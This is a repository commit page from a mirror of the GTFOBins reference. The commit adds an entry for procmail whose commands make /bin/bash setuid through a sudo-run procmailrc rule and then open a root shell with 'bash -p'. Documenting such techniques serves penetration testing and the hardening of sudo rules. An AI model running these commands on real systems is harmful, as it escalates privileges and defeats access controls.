mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-09-20 07:09:26 +02:00
ProcmailSudo
This commit is contained in:
11
_gtfobins/procmail.md
Normal file
11
_gtfobins/procmail.md
Normal file
@@ -0,0 +1,11 @@
|
||||
---
|
||||
description: |
|
||||
Procmail is an email server software component.
|
||||
functions:
|
||||
sudo:
|
||||
- description: By modifying/creating a procmailrc configuration file, we can specify a processing rule for any command we want.
|
||||
code: |
|
||||
echo -e ':0\n| chmod u+s /bin/bash' > .procmailrc
|
||||
echo "gtfobins" | sudo procmail -m .procmailrc
|
||||
bash -p
|
||||
---
|
Reference in New Issue
Block a user